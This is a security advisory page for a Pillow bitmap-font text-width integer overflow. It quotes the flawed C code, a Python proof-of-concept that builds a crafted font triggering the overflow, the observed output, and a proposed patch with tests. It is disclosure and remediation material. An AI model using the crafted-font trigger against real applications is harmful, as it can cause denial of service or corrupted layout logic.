---
id: "CVE-2026-96641"
kind: "vulnerability"
aliases: ["CVE-2026-96641", "GHSA-4rm8-3hmm-39fg"]
title: "Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise"
severity: "medium"
cvss: 6.5
epss: 0.00279999990016222
exploited: false
status: "open"
category: "package"
products: [{"name": "pillow", "fixed": ["13.0.0"], "affected": "< 13.0.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-190", "package", "pillow", "python", "self-hosted"]
not_affected_if: ["default-config", "no-untrusted-text", "truetype-only-fonts"]
published_at: "2026-10-21T21:20:32+00:00"
first_seen_at: "2026-10-23T19:11:31+00:00"
updated_at: "2026-10-23T21:57:29+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-4rm8-3hmm-39fg", "first_seen_at": "2026-10-23T19:11:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96641", "first_seen_at": "2026-10-23T21:57:29+00:00"}]
---

# Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise

Pillow 12.3.0 and earlier mishandle a negative glyph advance in its bitmap font text-width routine, so a long string of glyphs with the most negative advance overflows a C signed integer (undefined behavior). The result is a wrong, huge positive width from getlength() and related calls, with possible denial-of-service or layout logic errors.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:pillow affected < 13.0.0 fixed 13.0.0

## How to check

pip show pillow (affected if below 13.0.0)
Check whether the app loads bitmap .pil fonts via ImageFont and calls getlength/getbbox on untrusted or very long text

## Fix

Upgrade to Pillow 13.0.0 or later (pip install -U pillow)

## Timeline

- 2026-10-23T19:11:31+00:00 ghsa https://github.com/advisories/GHSA-4rm8-3hmm-39fg
- 2026-10-23T21:57:29+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-96641

## From the sources

### Summary
Affected Object and Source

Package: Pillow 12.3.0
Source: PyPI sdist pillow-12.3.0.tar.gz
SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce
Sink: src/_imaging.c:2809:15, xsize += dx

### Details
The code in Pillow 12.3.0 is:
```c
for (xsize = 0; *text; text++) {
    int dx = self->glyphs[*text].dx;
    if (dx > 0 && xsize > INT_MAX - dx) {
        PyErr_SetString(PyExc_OverflowError, "Width too large");
        return -1;
    }
    xsize += dx;
}
```
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:
`dx > 0 => xsize <= INT_MAX - dx`
It does **not** prove the other half of the contract:
`dx < 0 => xsize >= INT_MIN - dx`
Taking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.

### PoC
```python
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""

from __future__ import annotations

import struct
from io import BytesIO

import PIL
from PIL import Image, ImageFont


ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537


def bitmap_font(advance: int) -> ImageFont.ImageFont:
    metrics = bytearray(256 * 20)
    glyph_offset = ord("A") * 20
    metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
    font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
    font = ImageFont.ImageFont()
    font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
    return font


def main() -> None:
    font = bitmap_font(ADVANCE)
    print(f"Pillow={PIL.__version__}")
    print(f"control_math={ADVANCE * CONTROL_REPEAT}")
    print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
    print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
    print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")


if __name__ == "__main__":
    main()
```

Observations from a regular 12.3.0 release build:

```text
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
```

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.


### Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.

Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.

### Recommended Patch and Regression Tests

It is recommended to extend the overflow check to cover both directions:
```c
if ((dx > 0 && xsize > INT_MAX - dx) ||
    (dx < 0 && xsize < INT_MIN - dx)) {
    PyErr_SetString(PyExc_OverflowError, "Width too large");
    return -1;
}
```
At a minimum, four test cases should be added:
1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed);
2. `dx = 32767, repeat = 65539` — should raise `OverflowError`;
3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed);
4. `dx = -32768, repeat = 65537` — should raise `OverflowError`.

Additionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_